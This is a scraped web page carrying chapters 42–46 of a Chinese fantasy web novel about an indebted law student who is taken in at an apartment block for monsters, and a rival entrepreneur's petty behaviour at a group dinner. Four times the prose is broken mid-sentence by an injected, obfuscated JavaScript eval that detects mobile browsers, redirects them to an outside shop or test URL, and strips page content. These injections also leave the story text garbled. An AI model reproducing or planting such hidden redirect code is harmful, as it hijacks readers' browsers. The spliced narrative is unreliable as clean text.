“我帮你查了一些资料，其实恩斯法内大学有很完善的支援体系，他们不会让考上那儿的学生因为家境问题而读不起书，这是我从网上找到的恩斯法内大学生活辅助部门的联系方式和使用说明，你应该和那儿的老师谈谈，也许会得到有用的帮助。” 布莱克还没喝完牛奶，刚才在休息室见过的工作人员就拿着一小叠资料找了过来，并坐在他对面的位子上滔滔不绝。 “你不能再堕落下去了，像你这样的人，本应该成为社会栋梁的。总之现在最好按我说的去做，一切还有挽回的余地。圣灵不会放弃值得拯救的孩子，前提是你要拥有自救的决心。” 布莱克从她那儿接过资料，放在餐盘边上，略微看了几眼，上面写着好几个支援部门，每一个部门都配有专门的工作地址和联系方式。 两年前，他曾拜访过上面的所有地址，也拨通过所有电话，想要寻求帮助，但两年后他还是“堕落”成了如今这副模样。 难道是因为他“自救的决心”还不够坚定吗？ 不，分明是那些救助过分空洞。 42. 第 42 章 布莱克还鲜明地记得自己拿着那份因为受到蒙蔽而签署的合同去寻求校方相关部门的帮助时那些工作人员互相推诿的模样。 一个说本部门无法处理数额过大的经济纠纷，一个稍好一些，给了他一份擅长处理相关事务的律师的联系方式——其中不少都是本校的毕业生。 当他按照顺序拨打那些电话的时候，却意外地发现其中有不少是空号，另一些则被毫无关系的人接听，好不容易在里面找到一个愿意见面的学长，对方拿着他的合同翻来覆去看了好几遍，得出结论： 布莱克·高宁只有老实还款这一条路能走。 “难道不是对方涉嫌违法诈骗吗？”他不敢置信地提出质疑。 “你也是学法律的，如果好好研究一下合同内容，你就会发现对方十分英明，至少把这样的东西提交到法庭上，法官一定会认为对方更有道理，而你看起来则像无理取闹。”学长说，“与其在欠款上再附加请律师的钱和开庭的费用，还不如省下那些力气，少亏一点是一点。” 那实在是一笔以他家的积蓄难以偿还的债务。 布莱克的母亲很早就去世了，父亲是一个没有稳定收入的乡下工匠，以微薄的薪水养家糊口，布莱克不想增加父亲的压力，没有将自己上当受骗的事情告诉他，而是选择从大二伊始就找了三份兼职，一边上学一边打工还债，同时也没有放弃向外界求助。 这其中的辛酸时至今日他也不想再提，身体的疲惫还在其次，他一次次卑微恳求换来的“看似有希望的拒绝”才是对他精神造成创伤的元凶。 难道他真的是一个应该遭受鄙夷和白眼的懒汉吗？ 他也不是主动想变成这副模样的，只是当所有其他方向的路都被堵死之后，向下就成了他唯一的选择。 “如果你听明白了我说的，能不能做出一点反应？这是一项基本的礼节——噢，我想我明白你为什么会过得如此失败了，一个不懂得礼仪的人，是无法在社会上得到尊重的，这与你当前的经济状况没有关系。” 布莱克喝掉最后一口牛奶，将杯子按在桌面，“我听明白了，感谢你的指教，女士，我实在受益良多。” 修整处的女性露出了机械的、满意的笑容：“这就对了，圣灵一定会保佑你的，我可爱的男孩。” 布莱克被她的称呼弄出了一身鸡皮疙瘩。 不过他已经有了打算。到了真的活不下去的时候，只要到市容休整所的门口躺下，就能在虽然并不舒适但还算干净的床上睡一觉，然后得到一顿不丰盛但能够果腹的午餐。 他对这种恬不知耻的想法没有丝毫愧疚。在经历了那些事后，他觉得世界给他的补偿还远远比不上对他的亏欠。 然而在离开修整所时，从两个工作人员模样打扮的人口中听到的对话打碎了他的盘算。 “昨天不是还送过来一个男孩吗，怎么今天没有看见他？” “哦，那家伙已经被送去实验室了。” “这么说他已经是第二次来了？明明长得还不错，总觉得有点可惜呢。” “长得不错，也至多是个好看的垃圾，都是影响市容的存在，还是早点处理掉比较好。” 这话让布莱克出了一身冷汗，他不敢在那地方多做逗留，快步走到了街上。 尽管没有摸透具体的规则，但听上去第二次被修整所发现的人会遭遇相当可怕的事情。 比如人体实验…… 还是索性让他死在网吧里好了。 布莱克回到了那间他还欠着十三卡什的网吧。这次的管理员不是上次问他收钱的那个，他稍加蒙混，就成功得到了一个座位。 打开电脑之后，他本想径直去游戏平台上下载《暴雨》，但他心烦意乱，竟没有心思登录平台，他脑海里时不时地冒出一些在恐怖小说中看到过的人体实验的描写，那些描写在大脑加工后形成充满血腥的画面，让他顿时失去了打游戏的兴致。 他久违地登进了学校的官网，试图确认还有没有能够寻求帮助的部门，接着又怀着一丝侥幸检查了校内邮箱，想看看之前投递的咨询邮件有没有追加回复。 将近两年没清理过的邮箱看起来就像一个垃圾集散中心，充斥着各种奇形怪状的标题，格式不同的强调符号让那些来自正经学校部门的邮件看上去像一封封广告。 未读邮件的收信间隔越来越长。从两年前的每天好几封，到最近的几个月才有一封。最新的邮件是今天早上抵达邮箱的，从发件人的地址来看，应该也是一位校内用户。 “布莱克·高宁先生： 你好！ 冒昧打扰，我是恩斯法内大学经济学院76级的学生妮娜·斯特尔，曾在新生集会上与你有过交流。近来听闻你的境况，对你在两年前的遭遇表示遗憾。如果你需要经济及生活方面的支持，我非常乐意为你提供援助。如果你想要了解详情，请用校内邮箱与我联系。” 这封邮件出现的时机实在是太巧了，让布莱克不得不思考这是不是针对他的另一个陷阱。 他在人生中踩到的第一个陷阱已经将他带入深渊，如果再踩一个，他真的就要万劫不复了。 经济学院的同级生，妮娜·斯特尔。 布莱克回想起刚刚入学时参加的那场集会——那简直像是上辈子发生的事一样遥远——他在家境优渥的同学之间显得格格不入，因此感到有些自卑，就在这时，他看到了一个同样衣着寒酸，而且脸上丝毫没有考进名校的欢喜表情的女生。 “可以认识一下吗？我是法学院的新生，布莱克·高宁。”出于寻求同类的心理，他鼓起勇气上前和那个女生打了招呼。 “妮娜·斯特尔。”对方有气无力地答道。 “你看上去有些没精神，发生什么事了？” 布莱克以为会听到能让他感同身受的答案，没想到对方却说：“我本来想去魔法学院的，我对经济一点儿也不感兴趣。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924301|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布莱克向来对包括魔法在内的与魔族有关的一切敬而远之，听到她这么说，顿时打消了和她深交的念头。 他不知道一个萍水相逢的同校生为什么会知道他的邮箱地址，更不知道她为什么会在这种恰到好处的时候表示愿意为他提供帮助。 就他在这几年中积累起来的对社会的认知，以及最近社会环境的变化，那种家境的女孩子，即使没有遇上像他所遭遇的飞来横祸，日子也不会太好过。 ——从一种功利的角度来说，如果她当初真的如愿进入魔法学院，现在倒是能尝到很多甜头。 难道她在后来成功转院了？ 布莱克犹豫了很久，终于按下了回复的按钮——他既不想饿死街头，也不想被修整所抓去做人体实验，既然还有第三条路，他为什么不试试看？ “感谢你的慷慨，斯特尔小姐，我确实处于前所未有的危机之中，我负债累累，无家可归，急需一个能够暂时容身的地方，如果你愿意提供相关帮助，我将不胜感激。” 妮娜·斯特尔的回信快得让人应接不暇：“请告诉我你现在的位置，我过来接你。” “不用那么麻烦，我可以自己过去。” “那样不安全，如果路上发生什么意外就不好了。” 布莱克不知道路上会有什么意外，但是在想到会把第二次捡到的人送去做人体实验的市容修整所后，他打了一个寒颤，还是乖乖把网吧的地址发了过去。 邮箱没有再收到回信。布莱克隔几分钟就要刷新一下，看到那个一成不变的页面，不禁感到心里空落落的。 说是要来接他。 是已经在路上了吗，到这里来要花多久呢？还是说，妮娜·斯特尔只是想戏耍他，叫他白期待一场呢？ 布莱克还没有发现，他已经对这只始料未及的援手产生了极大的期待。 要知道，从他开始上幼儿园的第一天起，到他独自一人来到王都，进入大学，他从未体会过被人接送的感觉。 他开始随便翻看一些网页，几乎把搜索引擎首页推送的那些新闻给看了个遍。 “怎么连大学生的创业大赛都能上新闻了……等等，这次居然有贵族院参加？” 浏览这些新闻的时候，他难得有了一些自己还是个学生的感觉。 大概过了半个钟头——他已经对“妮娜·斯特尔”不抱太多希望的时候，网吧管理员走过来拍了拍他的肩膀，在他耳边低声说了一句：“客人，门口有人找你。” 布莱克差点从椅子上跳起来。他越过长长的一排机位，看到背光站在网吧门口的那条看起来略显矮小的影子。 管理员留在他的座位上收拾空置出来的机器，他则带着五分胆怯四分迟疑和一分激动向那条影子走去。 “布莱克·高宁？” 女大学生仰着脑袋打量着他，眼神中那种淡淡的不敢置信让布莱克第一次为自己的不修边幅感到羞愧难堪。 43. 第 43 章 “是我，我记得你，妮娜·斯特尔。”布莱克希望自己表现得尽可能大方得体，虽然他是接受援助的一方，但他莫名不想在一个同级女生面前输了气势。 “看得出来，休学后的这两年你过得很糟……我已经认不出你了。” “你看上去过得也不轻松，至少总是没法睡上好觉。”布莱克注意到她眼下那两个不容忽视的黑眼圈，也注意到自己被狠狠瞪了一眼。 他以为自己要挨骂了，不过这位女大学生表现得很宽容：“叫我妮娜就可以了。” “那……你就叫我布莱克。” 妮娜不置可否，理了理外套的衣襟，脚尖向门外转去：“走吧，带你去住的地方。” “网费……” “付过了。” 布莱克就知道会是这样，他有点后悔为什么要自取其辱。“多少，我以后会还给你的。” “那是必须的，我还没有阔绰到可以让人随便占便宜。” 从前方传来的声音让布莱克感到一阵紧张，或者说心情复杂。 那个黑心合同无情地摧毁了他对社会的信任，他总担心一点点好处的背后是无穷无尽的代价。可从小时候就被教导的做人准则又让他不能心安理得地白拿别人的好处。 布莱克迷迷糊糊地跟着同级生穿过几条街道，来到了那片熟悉的废墟附近。事实上，经过几天的重建，那已经不能算是一片废墟了，它已经显露出一座城市应有的面貌。 谁能说那场不明不白的轰炸不是老城区翻新的绝佳契机呢？ “等一等，这个方向是——”当布莱克发现一旁路牌上的数字已经超过1350的时候，他开始觉得有些头晕目眩。 “我想你大概无暇关心那种市井消息，但没准也已经听说了，这儿有一栋面向非人种族的廉租公寓，目前临时对人类开放。”妮娜风轻云淡地说道，“罗德里斯公寓，我是那里的——” “你住在那里？！”布莱克过去不是一个会随便打断别人说话的人，他现在只是过于震惊了，“你和一群魔物们住在一起？” 他很快就意识到自己的语气有点问题，态度立刻低微起来：“我……我知道，现在社会形势真的不太好，你也没有挑三拣四的余地，我更是应该学会随遇而安。抱歉，你明明是想帮助我。” 妮娜表情微妙地回头看了他一眼，决定不进行过多解释，放任他擅自误会，“维克多说他需要一个助手，公寓的发展也需要有一个专业的法律顾问，我觉得你是一个合适的人选。” “维克多？” “也许在你面前应该叫他潜入调查比较好？他正在筹划《暴雨》的DLC内容，需要一个对游戏有深入理解的助手。” 布莱克觉得自己被一股狂喜的情绪包围了，而最让他感到惊奇的是，这股狂喜并没有因为想起潜入调查——也就是维克多是一个幽灵而消退，他甚至开始为自己那天的失礼行径感到后悔不迭。 也许是从绝望之渊看到的那缕光芒实在是太过美丽耀眼，所以也就不会在意从那道光束中掠过的飞蝇了。 正当布莱克觉得人生再次充满希望的时候，一个凶恶的声音适时地打断了他的幻想。 “看看我们的高材生，最近手头是不是宽裕了，还交上了女朋友——那种在大学校园里无人问津的丑姑娘，你们两个倒是相配。” 穿着黑色套装，带着宽大墨镜，脖子上纹着向胸口蔓延的刺青，几乎把“我是□□”几个字写在脸上的男人从老城区1362号的巷口走了出来。 布莱克终于想起自己为什么总是在潜意识里对前往老城区这件事有所顾虑。 王都的新城区受到大型秩序魔法的保护，那些将他迫害至此的黑恶势力在那里不敢轻易造次，但在老城区就可以为所欲为了。 “你是不是忘了，如果不定期还钱的话，利息会越计越高的？还是说觉得自己反正还不上欠款，索性想赖成一笔坏账吧？不用担心，能考上恩斯法内大学的脑袋价值不菲，我们有的是办法让你物尽其用。” “进行未经许可的脑实验是严重的违法行为。”妮娜上前一步，挡在布莱克身前，“再加上冒充王国助学贷款，还有贿赂司法部门，这些罪行够你和你背后的人在监狱里喝上好几壶了。” “小丫头素质不错，你调查过我们？”黑衣人笑了起来，“如果你想和高材生一起下地狱的话，我当然愿意成全你。” 布莱克脸色惨白，但还是努力地挪动了几步，走到妮娜身边，他把左手放在她的肩上，看上去像是要安抚她，实际上是在寻求支撑点，“别，别，我已经找到工作了，从下个月起，一定会按期还钱的，至少……至少等到下个月。” “等？你知道我们已经等了多久吗？你最好弄清楚一点，你已经没有资格和我们谈条件了。”黑衣人说。 “我也觉得，不用再等了。”妮娜将布莱克的手从肩上掸开。 话音刚落，一条黑影像闪电似的从半空掠过，黑色的锁链像乱舞的群蛇一样将黑衣人团团捆住。 “什么！这是什么东西！快把我放开！” 那条黑影落到地上，黑衣人的身体顿时僵住了：“魔女！怎么可能！” 从天而降的魔女毫不理会黑衣人的嚎叫，飞速收紧锁链。交缠的锁链很快就织成了一个黑色的茧，将黑衣人完全封闭在里面，只能听见像是从另一个世界传来般的求助声。 “告诉贵族院的大人们，他们最好还是把参加大学生竞赛的精力放到治理国家上去。”妮娜冲着魔女说道。 那位魔女睁着两只死尸般的眼睛，冷冷地看了妮娜一眼，下一秒，就连带着那只黑色的大茧一起消失在了她的面前。 “我还没弄明白，发生什么了？”布莱克还没有彻底回神，呆呆地站在原地。 “怎么不明白呢？你少了一个讨债人。”妮娜说。 “我的债主有无数个手下，就算解决了今天的这一个，以后还会有别人来的——而且会变本加厉。”布莱克抱住自己的脑袋，“罗德里斯的房东要是知道了这件事，一定会拒绝我的入住请求，他肯定不想惹上这样一个大麻烦。我就知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924302|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道，我不该来的。我简直是在病急乱投医。” “贵族院应该会着手调查那家伙背后的组织，恐怕你的债主暂时没空来管你，高材生，刚才那位魔女也是七贵族中的一位派遣的。” 这声高材生让布莱克受之有愧。 “贵族院？斯特尔同学，你到底是什么人，为什么贵族院会出手帮你解决麻烦？” “我只是因为找不到工作而无奈参加创业大赛的毕业生。” “什么意思？”布莱克想到在网吧的那条新闻。 “进入第二轮比赛的项目会得到贵族院的指点，也就是说，我手上掌握着某位贵族的联系方式。既然有这种资源，总不能白白浪费，于是我就借助了一下祂的力量。” “可是我的债务和比赛没有关系吧？还是说七贵族空闲到愿意过问这种琐事？” “不能说没有关系，你的麻烦事后续可能影响到我的项目效益，我只是考虑到要防患于未然。更何况你的债主涉及违法犯罪，贵族院也不会坐视不理。” “哈……我倒是希望祂们能从源头上管管这种现象。” “嗯……” 布莱克注意到同级生话里的细节：“你说我会影响到你的参赛项目……难道说你也是《暴雨之下》的制作人？” 女大学生摇了摇头：“别光惦记着游戏了，你还有另一项重要任务呢。” 布莱克回忆了一番：“你是说充当公寓的法律顾问？” “罗德里斯公寓，这才是我的参赛项目。” * 再次坐在公寓一楼客厅的餐桌边时，布莱克比前一次更加紧张。 “这里的房客不会吃人，你可以不用那么警惕。”妮娜给他泡了一杯咖啡，里面加了过量的奶精，颜色看起来很浅。 “我不是那个意思。”布莱克小心地捧住杯子。天气已经热了，加了冰块的咖啡暂时镇压了他的部分烦躁。 妮娜敲着键盘：“布莱克·高宁，人类，二十二岁——你今年是二十二吧？” “对，我想我们应该同年。” “恩斯法内大学法学院的学生，目前休学中，罗德里斯公寓的法律顾问，潜入调查的制作助理，真是光彩照人的职业履历。” 布莱克不知道房东是不是在开玩笑。 “房间的大小在七点五到八平米之间，你对房间的位置和布置有什么要求？” “我想有一张床，还有一张书桌就可以了。” “既然你还担负着给维克多当助手的任务，就把你安排在他隔壁怎么样？”妮娜伸手指了指那间没有房门的独房，“105室。” 就在布莱克眺望着妮娜分配给他的那个房间的时候，灰色半透明的幽灵从一边的墙壁里钻了出来，“房东大人，还是您有办法，真的把他给带回来了。”他从走廊一路飘了过来，在布莱克对面坐下，“我想是时候在我的房间安一扇门了。” 是为了方便他未来的助手出入房间吧。 或许这只是一个时机恰好的借口，暗示他愿意开诚布公的心意。 45. 第 45 章 * “线下培训班吗？”妮娜看着导师7号发来的讯息，心里泛起了嘀咕。她有时候很难不怀疑贵族院平时都把心思放在了哪些事上——如果他们能够更关心一下民生问题的话，可能社会上就不会出现这么多失业的人类了。 不过怀疑归怀疑，仅对她个人而言，这是一个不错的学习机会。 比起网上动辄就要好几千卡什的大师课，能免费参加七贵族组织的培训班，无异于捡到一个大便宜，她确实想学学如何运营一个社交账号，好进一步扩大罗德里斯的影响力。 “刚才和其他有意向参加培训的负责人确认了一下，后天一整天所有人都能空出时间来，我想把第一次课程放在那个时候，你觉得怎么样？” 妮娜觉得导师7号的态度和她心目中贵族院成员的趾高气昂相去甚远。 “我可以的。” “那好，我再确认一下上课的时间和地点，一会儿统一发送通知。” 妮娜以为至少能在会场看到十几名竞争对手，但实际到场的负责人，加上她自己也才只有四名。 没想到导师7号竟然愿意为这四位热爱学习的学生专门策划培训课程，简直让人感激涕零。 “我叫阿尔弗雷德。阿尔弗雷德·克雷斯。可以叫我雷，或者弗雷德，总之不要叫阿尔。” 四个人里面总会出现一个特别活泼的人，在这堂小班课的成员中，阿尔弗雷德就充当着这样的角色。 妮娜知道他——地狱火的创始人，也是导致罗德里斯基地毁灭的罪魁祸首。 “你是红山的学生？”她注意到他背包上装饰着一个魔法阵款式的挂件。那是红山的周边，曾经在网上成为过一时的话题。 红山学院是全国公认最好的美术院校，除了传统的美术科目之外，从事魔法阵研究的魔法绘制专业也独具特色，妮娜曾经将它列为自己的志愿之一，所以一眼就认出了那个挂件的来由。 阿尔弗雷德摇了摇头：“我只是喜欢这个造型。” 他没有明说自己是哪儿的学生，妮娜也没打算穷追不舍。 其他人也做了形式化的自我介绍。 一人名叫露西·法日那，项目是一个教育培训机构，另一个女孩只公布了她的昵称“美妮”，负责一个广告创意公司。 集训课程的讲师名叫玛丽安娜，是一名三十岁上下的女性，她没有像很多大学讲师那样在第一堂课的时候花很多时间来介绍自己的辉煌成就，而是在一小段导语之后就立刻进入了正题。 她的话语简短但鞭辟入里，让人茅塞顿开，获益匪浅。她能够做到在排除各种繁琐的内容、避开很多媒体人最喜欢的争议内容后，以最单纯也是最直击灵魂的方式让人领会到其所要表达的内容。 即使妮娜对这一行业并没有那么深入的了解，但也感受到她的学识和本领不容小觑。她后悔没有提前准备录音笔之类的工具，只能尽己所能地把要点记录下来。 课堂上唯一让人感到不快的就是阿尔弗雷德的存在。 每当讲师说到他并不感兴趣的内容时，他就表现得很不认真，一会儿扭动身体，一会儿摆弄手机；可一旦讲师说到他有兴趣的地方，他又会以自己的经历和经验对讲师指指点点。 不知道的人还以为他有多么老道呢。 “克雷斯先生，我恳请你表现得安静一点。我并不想听你那些高谈阔论。”最后，忍无可忍的妮娜终于表达了自己的态度。 令人欣慰的是，阿尔弗雷德或许拥有知错能改的品质，至少在接下来的时间里，他的表现要谦虚多了。这使得妮娜的喝止行为得到了讲师无言的赞赏。 当天的全部课程结束之后，天色已经变得昏黄，到了晚饭的时点。 露西提议四个参赛者可以一起吃顿饭，聊聊与比赛有关的话题，交换一下情报，增长一下见闻，这一提议得到了大家的认可。聚餐的地点被定在距离会场不过两三百米的一家商业中心，讲师在退场前给他们推荐的一家小餐馆里。 “百味草抄甘豆，有人吃这个吗？”露西问道。 妮娜和美妮都举了手，“点吧，我可喜欢了。” 阿尔弗雷德表情微妙地笑了一下：“你们女孩子是不是都喜欢这个？” “你不喜欢吗？那我们就不点了，这也不是餐桌上的必需品。” “不，不，你们点吧，我可没说不喜欢。” 三个女孩打算再研究一下菜单，阿尔弗雷德已经放下了点餐用的平板：“我点了几个菜，你们看看合不合适，合适的话我就确认了。” 就在众人开始查看购物车的时候，他又说道：“我们是AA的对吧？” “当然。”美妮应道。 阿尔弗雷德笑了一下：“因为我是唯一的男生，一开始有点担心你们会把账单甩给我一个人呢。” 这话让人不知如何应答，三个女孩面面相觑。 甘豆很快就被端了上来，一同上来的还有一盘热菜。两道小菜被饥肠辘辘的年轻人一扫而空，妮娜注意到阿尔弗雷德完全没有碰那盘甘豆。 他大概确实是不喜欢的吧，为什么不坦率地表达呢，是怕扫了同行者的兴吗？妮娜百无聊赖地想着——从课堂的表现来看，他不像是那种会照顾别人感受的人，但也不排除这是她的误解和偏见。 在等待第三道菜的时候，阿尔弗雷德离席了一会儿，回来的时候手里拿着一瓶汽水——那种只够一个人喝的瓶子。 他回到座位上，什么都没说。 这又让同席的几个女孩子有些不明所以。 “我们也去拿饮料吧。”为了打破这种尴尬又奇怪的氛围，最初提议聚餐的女孩再次充当了提议者，剩下的两个女生积极响应。 等妮娜和两个女伴各自挑好饮品回到她们的座位时，剩下的餐品已经上齐。阿尔弗雷德一定是饿坏了，他看起来在她们离席的短短的时间内吃了不少东西。 “这儿的上菜速度可真快。”他说。 妮娜看了一眼后厨的方向：“也许他们用了什么能够加速的魔法。” 阿尔弗雷德的脸色一僵：“最好别。” 露西注意到了他的这点变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924304|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，忍不住问道：“你是反对魔法那一派的？你的项目明明就和魔族有关，我还以为你至少是中立派呢。” “说起来，我们这儿的四个项目，其实多多少少和魔族扯得上一点关系。”美妮像是发现了新大陆。 “没错。”阿尔弗雷德松了一口气，又突然看向妮娜，“在所有和魔族有关的项目中，我把罗德里斯公寓视为最大的竞争对手。” 妮娜觉得他的潜台词是：“你最好感到荣幸。” “我也把你当成一个需要重视的对手。”她同样话里有话地说道。尽管他们的项目根本就不在一个赛道上。 接下来的用餐过程还算顺利，至少没有出现什么能让人感到特别难忘的情况，虽然阿尔弗雷德的存在让餐桌上的空气时而凝滞，但饭菜的美味让食客们完全容忍了这一点点的尴尬。 “玛丽安娜女士说的一点也没错，这是一家物超所值的餐馆，也许我会成为这里的常客。” “作为一名资深的自媒体人，她为什么不为这家餐馆打个广告？以她的网络影响力，立刻就能让这里流量大增。”阿尔弗雷德说。 “比起短暂狂欢后的一地鸡毛，这家餐厅的主人应该更希望细水长流地发展吧？”露西说，“也许不由分的人任性吹捧只会让人感到困扰。” “我不能想象这里挤满客人的样子，超过承载能力的客流量只是在预支商店的发展潜力。”美妮说。 二人的反对意见让阿尔弗雷德无话可说，他厚着脸皮试图拉到至少一个赞同。 “妮娜小姐，难道你就忍心让这样一家优秀的餐厅被埋没吗？” “我不觉得它被埋没了。”妮娜仰起脑袋，喝掉了汽水的瓶底。 “大家都吃得差不多了吧？还要去哪儿逛逛吗，还是就这么散了？”露西看了看桌上的空盘，问道。 “总之先买单吧，把钱当面点清比较好。”美妮附和道。 阿尔弗雷德看了一眼桌上已经空空如也的碗碟，举起右手：“我还没吃饱，不如再加一个菜，比如炸鸡块之类的。”他一边说的时候，左手已经在平板上操作了起来。 三个女孩也没多说什么，容许了这个多少显得有些任性的行为。 尽管是临时点的，但餐厅依然保持了飞快的服务速度，不多时就把用小竹篮装着的炸得金黄的几块给送了上来。 “好香。” “明明已经吃饱了，不过一闻到这个气味，就立刻又胃口大开了呢。” 众人纷纷表示了对这一篮子炸鸡的赞赏，各自持起了餐具，向那些外酥里嫩的几块发起进攻。 “要我说，家禽——尤其是鸡，简直是大自然和先祖们的馈赠。” “没错，不管是那些细皮嫩肉的年轻品种，还是营养丰富的老母鸡，甚至还有没孵化的鸡，我是说鸡蛋，都各有各的好处。这是一个不管在哪个生命阶段都很好吃的物种。” 大家围绕着食用鸡的话题开了几句玩笑，很快就把这篮新鲜出炉的炸物给吃了个精光。 女孩们心满意足，只有阿尔弗雷德脸色不佳。 46. 第 46 章 “这回是真的吃到撑啦。” “克雷斯先生，这回想必吃饱了吧？” 被点到名的阿尔弗雷德愣了一下，盯着只剩下一层牛皮纸的竹篮看了半天，才略带不情愿地嗯了一声。 “我去结账。”妮娜站了起来，在得到同伴们的首肯之后便径直向收银台走去。她发现阿尔弗雷德跟了上来，但没有同她说什么。 “18号桌买单。”她对收银员说。 就在收银员低下头去在电脑屏幕上确认费用的时候，莫名跟来的阿尔弗雷德开口了：“再拿一瓶挂叶果汁。记在18号桌的账单上。” 收银员在键盘上熟练地操作了一通，“一共是三百二十八卡什。”然后转身从身后的立式冰箱里提了一瓶果汁出来，利落地摆在柜台上。 妮娜正在手机上付款，而阿尔弗雷德则得意洋洋地接过了那瓶颜色奇特的果汁——那可不是一瓶便宜的东西。 回到座位上的时候，留守的两个女孩一下子就看到了那瓶明显多余的饮料，还不等她们开口询问，妮娜就将账单摊在了桌子中间，这样她们就能明确地看到账单最下面那行关于饮品的文字了。 三个人在无言中交换了一下表情。 “每个人八十二卡什。”阿尔弗雷德拧开果汁的盖子喝了一口，并且在这一口的间隙里完成了一次除法心算，“我算术挺不错的。” 美妮似乎想对他的计算结果发表异议，不用想，争议的重点肯定是最后多出来的挂叶果汁，但她最终没能说出口，因为他已经用最快的速度在手机上完成了转账的操作——从拧上瓶盖、放下瓶子、解锁手机到最后的付款，如果不是亲眼所见，她根本想象不到这一系列动作可以做得如此行云流水。 更可气的是他最后还补充了一句：“本来是二百九十八，没法被四整除。” 言外之意就是他这一番画蛇添足简直恰到好处。 离开餐厅之后，阿尔弗雷德独自去了车站等车，剩下三个女孩都决定步行回家。三人顺路了一阵，在一阵热身之后，她们不可避免地讨论起刚才发生的“怪事”。 “一开始他只拿了一瓶汽水回来的时候我就觉得奇怪了，他自己都说这顿饭要AA了，怎么还好意思占这么明显的便宜？” “遗憾的是他没能占成。” “所以才会有最后那瓶果汁啊——在最后关头出手的话，我们就没有补足的机会了。” “这么一说，你们不觉得那份炸鸡也有古怪……” “他以为我们已经吃饱了，本想独占炸鸡的，没想到那篮炸鸡过于诱人，硬生生被我们给瓜分了。” “他到底在图谋什么？这个便宜是非占不可吗——从三个女生身上？他倒是一点都不在乎风度这种东西。当然，我不是说男生就活该让女生占便宜。” “等一等，我明白了！归根究底，其实是那盘甘豆的问题！” “甘豆有什么问题吗？” “你们没注意到吗，他完全没有碰过甘豆，他觉得自己吃亏了！” “可是为什么？他不是可以吃甘豆的吗，要是真不喜欢，在点单的时候，他也完全可以驳回的，我们甚至给过他机会。” “虽然不知道他的脑袋瓜里究竟是什么构造，但这似乎是最能说通他举止的猜想了。” “话说回来，那个魔法阵挂件也很奇怪吧！他是故意想让别人觉得他是红山的学生？” “这到底是什么该死的虚荣心？” 大概是发现了这个话题的可笑之处，女孩子们越说越起劲，露西突然将着眼点落在妮娜身上：“他是不是说过，你是他在大赛中最大的对手？” 美妮补充道：“你也说他是一个需要重视的对手——不过我相信你那一定是句贴心的场面话。我看以后就不该给那些小心眼的男人太多面子，他们特别容易蹬鼻子上脸。” 妮娜抿了一下嘴唇：“不管怎么样，我都不希望他拿到比我更高的名次。” “说得好，是该给他当头一棒，至少要报今天的挂叶果汁之仇。” “唔……还有罗德里斯基地的……” “你刚才说了什么吗？” “没有……” * …… 魔王的能力刚好可以拆解为构成该名词的两个字。魔法，王权。 魔王有着令所有族人都无法违逆的奇迹般的王权，以及足以让空间塌缩、让时光逆流的强大魔法。 看到这里的各位是否会产生一个疑问：既然魔王掌握着毁天灭地的力量，又统率着拥有各系魔法的军团，当初是如何败在人类手中——不仅丢了性命，还让他的整个族群沦为人类的奴仆？ 其实答案很简单，那就是魔王并非无时无刻都那么强大。 每当生命之树孕育出新的魔王之卵，魔王的力量就会渐渐流失，通过生命之树的经脉流向那位尚未出生的新王。 卵所贮藏的力量，加上魔王自身的力量，才是真正的、完全的“魔王之力”。 守护一颗几乎不具备任何防御能力又遭人觊觎的卵果是一项无比艰巨的任务。 而每一代魔王又都会随着新王之卵的诞生、成熟而逐渐衰弱。 也就是说，每位魔王都会在最虚弱的时候负担这个最困难的任务。 人类就是瞄准了那个绝佳的时机，完成了对先代魔王的围剿。 ——《勇者笔记·第三卷》 …… 在亲眼得见阿尔弗雷德为何人的翌日，妮娜没有着手对地狱火的精准打击计划，也没有顾得上通过实践对玛丽安娜女士的授课内容进行巩固，她迫不及待地开启了有关赫尔马岱计划的行动。 她没有忘记当下的主要矛盾，打败阿尔弗雷德只是顺便。 魔法传送阵不是一件像她这样的穷酸学生能眼睛不眨一下就购入的东西。即使是校园里充当电梯用的近距离传送阵，价格都根据出口数量从两万卡什到二十万不等，从学校到圣灵图书馆的那种在二十五万左右。 至于跨区和跨市的大型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 